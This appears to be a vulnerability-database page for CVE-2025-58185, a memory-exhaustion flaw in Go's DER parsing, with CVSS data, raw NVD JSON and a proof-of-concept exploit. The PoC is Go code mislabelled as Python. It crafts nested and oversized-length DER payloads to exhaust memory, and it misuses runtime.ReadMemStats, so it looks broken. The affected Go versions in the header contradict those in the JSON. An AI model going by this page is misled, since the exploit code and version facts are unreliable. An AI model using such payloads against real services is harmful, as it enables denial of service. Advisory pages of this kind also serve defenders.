Security Vulnerability Report
中文
CVE-2025-58185 CVSS 5.3 MEDIUM

CVE-2025-58185

Published: 2025-10-29 23:16:19
Last Modified: 2026-02-06 20:26:42

Description

Parsing a maliciously crafted DER payload could allocate large amounts of memory, causing memory exhaustion.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
Go语言 < 1.22.10
Go语言 < 1.23.0-rc1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-58185: Go DER Parsing Memory Exhaustion // This PoC demonstrates memory exhaustion via malicious DER payload package main import ( "encoding/asn1" "fmt" "runtime" ) // Malicious DER payload that triggers memory exhaustion // This creates a deeply nested SEQUENCE structure func generateMaliciousDER() []byte { // ASN.1 structure with deep nesting to trigger memory exhaustion // SEQUENCE { SEQUENCE { SEQUENCE { ... } } } var depth = 1000 var payload []byte // Start with SEQUENCE tag for i := 0; i < depth; i++ { // SEQUENCE tag (0x30) with length field payload = append(payload, 0x30) // Length byte (can be extended for larger allocations) payload = append(payload, 0x82, 0xFF, 0xFF) // Long form length } return payload } func main() { fmt.Println("CVE-2025-58185 PoC - DER Memory Exhaustion") fmt.Printf("Initial memory: %d MB\n", runtime.ReadMemStats().Alloc/1024/1024) maliciousData := generateMaliciousDER() fmt.Printf("Malicious DER payload size: %d bytes\n", len(maliciousData)) // Attempt to parse the malicious DER data var result interface{} _, err := asn1.Unmarshal(maliciousData, &result) if err != nil { fmt.Printf("Parse error (expected): %v\n", err) } fmt.Printf("Memory after parse attempt: %d MB\n", runtime.ReadMemStats().Alloc/1024/1024) // Alternative PoC: Craft DER with oversized length field oversizedDER := []byte{ 0x30, // SEQUENCE tag 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Malformed length } var result2 interface{} asn1.Unmarshal(oversizedDER, &result2) }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58185", "sourceIdentifier": "[email protected]", "published": "2025-10-29T23:16:19.450", "lastModified": "2026-02-06T20:26:41.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parsing a maliciously crafted DER payload could allocate large amounts of memory, causing memory exhaustion."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.24.8", "matchCriteriaId": "E1AB9501-4F7D-4E37-BA0A-4E57B082530C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.25.0", "versionEndExcluding": "1.25.2", "matchCriteriaId": "C196D175-EF20-476C-8C64-1B9F5C50AA2D"}]}]}], "references": [{"url": "https://go.dev/cl/709856", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://go.dev/issue/75671", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://groups.google.com/g/golang-announce/c/4Emdl2iQ_bI", "source": "[email protected]", "tags": ["Mailing List", "Release Notes"]}, {"url": "https://pkg.go.dev/vuln/GO-2025-4011", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/08/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Release Notes"]}]}}